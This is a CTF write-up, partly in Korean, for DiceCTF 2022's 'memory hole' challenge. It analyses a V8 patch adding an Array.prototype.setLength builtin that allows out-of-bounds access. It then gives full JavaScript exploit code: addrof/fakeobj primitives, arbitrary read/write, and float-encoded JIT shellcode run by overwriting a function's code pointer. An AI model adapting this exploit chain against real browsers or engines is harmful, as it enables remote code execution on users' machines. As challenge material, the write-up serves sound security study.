literally 1984.
note: you should read the design doc of The Cage and its code; try to understand how it works, since it'll be hard to solve this challenge by just jit monkeying.
Release: https://github.com/h0meb0dy/CTF/raw/main/DiceCTF%202022/memory%20hole/1984.tar.gz
Environment Setting
- V8 commit hash: 277fdd1de7110a889f6fd4c2da2ddfdf2f28416f
- GN arguments (for debugging):
v8_no_inline=true v8_optimized_debug=false is_component_build=false
Analysis
Patch
diff --git a/BUILD.gn b/BUILD.gn
index 4aeace7f59..f2362534c8 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -304,18 +304,18 @@ declare_args() {
# Enable the experimental V8 sandbox.
# Sets -DV8_SANDBOX.
- v8_enable_sandbox = false
+ v8_enable_sandbox = true
# Enable external pointer sandboxing. Requires v8_enable_sandbox.
# Sets -DV8_SANDBOXED_EXTERNAL_POINRTERS.
- v8_enable_sandboxed_external_pointers = false
+ v8_enable_sandboxed_external_pointers = true
# Enable sandboxed pointers. Requires v8_enable_sandbox.
# Sets -DV8_SANDBOXED_POINTERS.
- v8_enable_sandboxed_pointers = false
+ v8_enable_sandboxed_pointers = true
# Enable all available sandbox features. Implies v8_enable_sandbox.
- v8_enable_sandbox_future = false
+ v8_enable_sandbox_future = true
# Experimental feature for collecting per-class zone memory stats.
# Requires use_rtti = true
BUILD.gn
에서 sandbox 관련 feature들을 모두 true
로 설정하여, V8 object들이 sandbox(virtual memory cage) 내부에서만 다루어지도록 합니다.
@@ -1610,6 +1610,7 @@ action("postmortem-metadata") {
}
torque_files = [
+ "src/builtins/array-setlength.tq",
"src/builtins/aggregate-error.tq",
"src/builtins/array-at.tq",
"src/builtins/array-concat.tq",
diff --git a/src/builtins/array-setlength.tq b/src/builtins/array-setlength.tq
new file mode 100644
index 0000000000..f032fcb539
--- /dev/null
+++ b/src/builtins/array-setlength.tq
@@ -0,0 +1,14 @@
+namespace array {
+transitioning javascript builtin
+ArrayPrototypeSetLength(
+ js-implicit context: NativeContext, receiver: JSAny)(length: JSAny): JSAny {
+ try {
+ const len: Smi = Cast<Smi>(length) otherwise Pepega;
+ const array: JSArray = Cast<JSArray>(receiver) otherwise Pepega;
+ array.length = len;
+ } label Pepega {
+ Print("pepega");
+ }
+ return receiver;
+}
+} // namespace array
array-setlength.tq
파일이 새로 추가되었습니다. 이 파일에서는 ArrayPrototypeSetLength()
함수를 정의합니다.
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index f497f224c5..e42526c1de 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1724,6 +1724,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
JSObject::AddProperty(isolate_, proto, factory->constructor_string(),
array_function, DONT_ENUM);
+ SimpleInstallFunction(isolate_, proto, "setLength",
+ Builtin::kArrayPrototypeSetLength, 1, false);
SimpleInstallFunction(isolate_, proto, "concat",
Builtin::kArrayPrototypeConcat, 1, false);
SimpleInstallFunction(isolate_, proto, "copyWithin",
ArrayPrototypeSetLength()
함수는 새로 추가된 Array.setLength
method의 구현체입니다.
OOB in ArrayPrototypeSetLength()
/* src/builtins/array-setlength.tq */
namespace array {
transitioning javascript builtin
ArrayPrototypeSetLength(
js-implicit context: NativeContext, receiver: JSAny)(length: JSAny): JSAny {
try {
const len: Smi = Cast<Smi>(length) otherwise Pepega;
const array: JSArray = Cast<JSArray>(receiver) otherwise Pepega;
array.length = len;
} label Pepega {
Print("pepega");
}
return receiver;
}
} // namespace array
Array.setLength()
는 인자로 전달된 length
를 Array
의 새로운 length로 설정합니다.
하지만 arr
이 실제로 확장된 것이 아니라 length만 증가하기 때문에 out of bounds access가 가능해집니다.
Exploit
Helpers
let fi_buf = new ArrayBuffer(8); // shared buffer
let f_buf = new Float64Array(fi_buf); // buffer for float
let i_buf = new BigUint64Array(fi_buf); // buffer for bigint
// convert float to bigint
function ftoi(f) {
f_buf[0] = f;
return i_buf[0];
}
// convert bigint to float
function itof(i) {
i_buf[0] = i;
return f_buf[0];
}
// convert bigint to hex string
function hex(i) {
return '0x' + i.toString(16);
}
Generate OOB array
let oob_arr;
function ex() {
oob_arr = [1.1];
oob_arr.setLength(0x1000);
}
ex();
% DebugPrint(oob_arr);
Addrof / fakeobj
let oob_arr;
let obj_arr;
function ex() {
oob_arr = [1.1];
obj_arr = [{}];
oob_arr.setLength(0x1000);
}
ex();
/* get address of obj */
function addrof(obj) {
obj_arr[0] = obj;
return ftoi(oob_arr[4]) & 0xffffffffn;
}
/* addrof test */
let tmp_obj = {};
console.log(hex(addrof(tmp_obj)));
% DebugPrint(tmp_obj);
/* generate fake object at addr */
function fakeobj(addr) {
let tmp = ftoi(oob_arr[4]);
tmp &= 0xffffffff00000000n;
tmp |= addr;
oob_arr[4] = itof(tmp);
return obj_arr[0];
}
/* fakeobj test */
let tmp_obj = {};
let tmp_obj_addr = addrof(tmp_obj);
let fake_obj = fakeobj(tmp_obj_addr - 0x10n);
console.log(hex(tmp_obj_addr));
% DebugPrint(fake_obj);
AAR / AAW
let oob_arr;
let obj_arr;
let aarw_arr_struct;
function ex() {
oob_arr = [1.1];
obj_arr = [{}];
aarw_arr_struct = [2.2, 3.3];
oob_arr.setLength(0x1000);
aarw_arr_struct[0] = oob_arr[1]; // map | properties
}
ex();
/* arbitrary address read */
function aar(addr) {
aarw_arr_struct[1] = itof(2n << 32n | addr - 8n); // elements | length
let aar_arr = fakeobj(addrof(aarw_arr_struct) - 0x10n);
return ftoi(aar_arr[0]);
}
/* aar test */
(() => {
let tmp_arr = [1.1];
let tmp_arr_addr = addrof(tmp_arr);
console.log(itof(aar(tmp_arr_addr - 8n)));
})();
/* arbitrary address write */
function aaw(addr, value) {
aarw_arr_struct[1] = itof(2n << 32n | addr - 8n); // elements | length
let aar_arr = fakeobj(addrof(aarw_arr_struct) - 0x10n);
aar_arr[0] = itof(value);
}
/* aaw test */
(() => {
let tmp_arr = [1.1];
let tmp_arr_addr = addrof(tmp_arr);
aaw(tmp_arr_addr - 8n, ftoi(2.2));
console.log(tmp_arr[0]);
})();
Execute shellcode
function sc() {
return [1.1,
1.9555025752250707e-246,
1.9562205631094693e-246,
1.9711824228871598e-246,
1.9711826272864685e-246,
1.9711829003383248e-246,
1.9710902863710406e-246,
2.6749077589586695e-284];
}
for (let i = 0; i < 0x10000; i++) { sc(); sc(); } // optimization
ex();
let sc_addr = addrof(sc);
let sc_code = aar(sc_addr + 0x18n); // code pointer of sc()
aaw(sc_addr + 0x18n, sc_code + 0x75n); // overwrite code pointer
sc(); // execute shellcode
Full exploit
let fi_buf = new ArrayBuffer(8); // shared buffer
let f_buf = new Float64Array(fi_buf); // buffer for float
let i_buf = new BigUint64Array(fi_buf); // buffer for bigint
// convert float to bigint
function ftoi(f) {
f_buf[0] = f;
return i_buf[0];
}
// convert bigint to float
function itof(i) {
i_buf[0] = i;
return f_buf[0];
}
// convert bigint to hex string
function hex(i) {
return '0x' + i.toString(16);
}
let oob_arr;
let obj_arr;
let aarw_arr_struct;
function ex() {
oob_arr = [1.1];
obj_arr = [{}];
aarw_arr_struct = [2.2, 3.3];
oob_arr.setLength(0x1000);
aarw_arr_struct[0] = oob_arr[1]; // map | properties
}
ex();
/* get address of obj */
function addrof(obj) {
obj_arr[0] = obj;
return ftoi(oob_arr[4]) & 0xffffffffn;
}
/* generate fake object at addr */
function fakeobj(addr) {
let tmp = ftoi(oob_arr[4]);
tmp &= 0xffffffff00000000n;
tmp |= addr;
oob_arr[4] = itof(tmp);
return obj_arr[0];
}
/* arbitrary address read */
function aar(addr) {
aarw_arr_struct[1] = itof(2n << 32n | addr - 8n); // elements | length
let aar_arr = fakeobj(addrof(aarw_arr_struct) - 0x10n);
return ftoi(aar_arr[0]);
}
/* arbitrary address write */
function aaw(addr, value) {
aarw_arr_struct[1] = itof(2n << 32n | addr - 8n); // elements | length
let aar_arr = fakeobj(addrof(aarw_arr_struct) - 0x10n);
aar_arr[0] = itof(value);
}
function sc() {
return [1.1,
1.9555025752250707e-246,
1.9562205631094693e-246,
1.9711824228871598e-246,
1.9711826272864685e-246,
1.9711829003383248e-246,
1.9710902863710406e-246,
2.6749077589586695e-284];
}
for (let i = 0; i < 0x10000; i++) { sc(); sc(); } // optimization
ex();
let sc_addr = addrof(sc);
let sc_code = aar(sc_addr + 0x18n); // code pointer of sc()
aaw(sc_addr + 0x18n, sc_code + 0x75n); // overwrite code pointer
sc(); // execute shellcode